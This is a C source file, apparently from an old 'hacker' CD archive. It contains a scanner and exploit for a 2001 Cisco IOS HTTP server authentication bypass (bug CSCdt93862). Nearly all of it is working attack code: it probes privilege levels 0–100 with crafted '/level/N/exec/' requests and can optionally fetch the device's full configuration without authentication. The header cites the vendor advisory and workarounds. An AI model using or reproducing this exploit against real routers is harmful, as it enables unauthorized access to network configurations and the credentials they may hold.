H4CK3R 14/hacker14.iso/exploits/cisco/ios-w3-vul.c

C/C++ Source or Header | 2002-10-22 | 4.9 KB | 189 lines

/*
 * Cisco IOS HTTP Server Vulnerability Scanner.
 * Written by bashis <bash[at]wcd[dot]se>
 *
 * This code scanning a Cisco router/switch for vulnerability,
 * and as an option fetching the configuration, without any
 * authentication, of the router/switch if vulnerability is found.
 *
 * Vulnerable:
 * Almost(?) ALL Cisco IOS based products with IOS Version later then 11.3,
 * with HTTP server enabled and using no TACACS+ / Radius authentication.
 * (I have been unable to reproduce this on routers/switches with IOS 11.2)
 *
 * Vendors advisory:
 * http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html
 *
 * Cisco Bug ID: CSCdt93862
 *
 * Workaround:
 *  Disable HTTP Server.
 *  -or-
 *  Use TACACS+ / Radius for authentication.
 *
 * Solution:
 * Upgrade your IOS, read the vendors advisory for details.
 *
 * Status:
 *  7 May 2001: Vendor was notified about this bug.
 * 27 Jun 2001: Vendor released advisory.
 * 30 Oct 2001: Decided to make this scanner go public.
 *
 * Compile: gcc -Wall -o ios-w3-vul ios-w3-vul.c
 * (Tested on Linux and OpenBSD)
 *
 */

#include <ctype.h>
#include <netdb.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define BUF_SIZE 1024

char getreq[] =        "GET /level/";
char cmd_pwd[] =    "/exec/-///pwd  HTTP/1.0\n\n";
char cmd_sh_conf[] =    "/exec/-///show/configuration HTTP/1.0\n\n";

int fetchc(int argc, char *argv[], struct sockaddr_in sin, struct hostent *inet_host, char vulnl[])
{
    int sock;
    char inbuf[BUF_SIZE], outbuf[BUF_SIZE];

    if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0){
        printf("Can't create  socket: %s\n",strerror(errno));
        return(1);
    }

    if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0){
        printf("Can't connect to %s: %s\n",argv[1], strerror(errno));
        return(1);
    }

    bzero(outbuf,sizeof(outbuf));
    bzero(inbuf,sizeof(inbuf));
    strcat(outbuf,getreq);
    strcat(outbuf,vulnl);
    strcat(outbuf,cmd_sh_conf);
    send(sock,outbuf,strlen(outbuf),0);
    while(recv(sock,inbuf,sizeof(inbuf),0)){
        printf("%s",inbuf);
        if(strstr(inbuf,"command completed"))
            break;
        bzero(inbuf,sizeof(inbuf));
    }
    close(sock);
    return(1);
}

int main(int argc, char *argv[])
{
    int sock, i;
    int ok = 0, bad = 0, other = 0, unauth = 0, count = 0;
    int finish = 0, fetch = 0;
    char inbuf[BUF_SIZE], outbuf[BUF_SIZE];
    char tmp[5];
    struct sockaddr_in sin;
    struct hostent *inet_host;

    printf("\nCisco IOS HTTP Server Vulnerability Scanner.\n");
    printf("by bashis <bash[at]wcd[dot]se> Cisco Bug ID: CSCdt93862\n\n");

    if((argc < 2) || (strstr(argv[1],"-?")))
    {
        printf("Usage: %s <host> [fetch]\n",argv[0]);
        printf("\n <host>: ip or hostname to scan.\n[fetch]: fetching configuration when finding a vulnerability and exit.\n\n");
        exit(0);
    }

    if(argc > 2)
        if(!(strncmp(argv[2],"fetch",5))){
            fetch++;
        }

    if ((inet_host=gethostbyname(argv[1])) == NULL) {
        printf("Can't resolve %s\n",argv[1]);
        exit(1);
    }

    sin.sin_family=AF_INET;
    sin.sin_port=htons(80);
    bcopy(inet_host->h_addr, (char *)&sin.sin_addr, inet_host->h_length);

    for(i=0;i<=100;i++) {
        if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
            printf("Can't create  socket: %s\n",strerror(errno));
            return(1);
        }

        if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0)
        {
            printf("Can't connect to %s: %s\n",argv[1], strerror(errno));
            return(1);
        }
        bzero(outbuf,sizeof(outbuf));
        strcat(outbuf,getreq);
        bzero(tmp,sizeof(tmp));
        sprintf(tmp,"%d",i);
        strcat(outbuf,tmp);
        strcat(outbuf,cmd_pwd);
        bzero(inbuf,sizeof(inbuf));
        send(sock,outbuf,strlen(outbuf),0);
        while(recv(sock,inbuf,sizeof(inbuf),0))
        {
            if(strstr(inbuf,"200 OK")) {
                printf("Received: 200 OK\t\t(%d is vulnerable)\n",i);
                ok++;

                if(fetch) {
                    bzero(tmp,sizeof(tmp));
                    sprintf(tmp,"%d",i);
                    if(fetchc(argc, argv, sin, inet_host,tmp)){
                        finish++;
                        break;
                    }
                }
                break;
            }
            else if(strstr(inbuf,"401 Unauthorized")) {
                unauth++;
                printf("Received: 401 Unauthorized\t(%d is not vulnerable)\n",i);
            }
            else if(strstr(inbuf,"400 Bad Request")) {
                bad++;
                printf("Received: 400 Bad Request\t(%d is not vulnerable)\n",i);
            } else {
                other++;
                break;
            }

            if(strstr(inbuf,"command completed")){
                break;
            }
        }
        count++;
        close(sock);
        if(finish || other)
            break;
        usleep(50);
    }

    if(ok && !fetch) {
        printf("\n%s IS vulnerable, DISABLE HTTP and upgrade your IOS!.\n",argv[1]);
    }
    else if(!other && !ok)
        printf("\n%s seems NOT to be vulnerable. Using TACACS+/Radius?\n",argv[1]);
    else if((fetch && !other) || (fetch && !ok))
        printf("\nFetched configuration from %s...\n",argv[1]);
    else
        printf("Uh Ah Oh Whats this?? - This Can't be a Cisco device..\nYou should check if it's a Cisco device you are trying to scan.. ;->\n\n");
    printf("Status: Sent:%d, 200 OK:%d, 400 Bad request:%d, 401 Unauthorized:%d, Other:%d\n",count,ok,bad,unauth,other);
    return(0);
}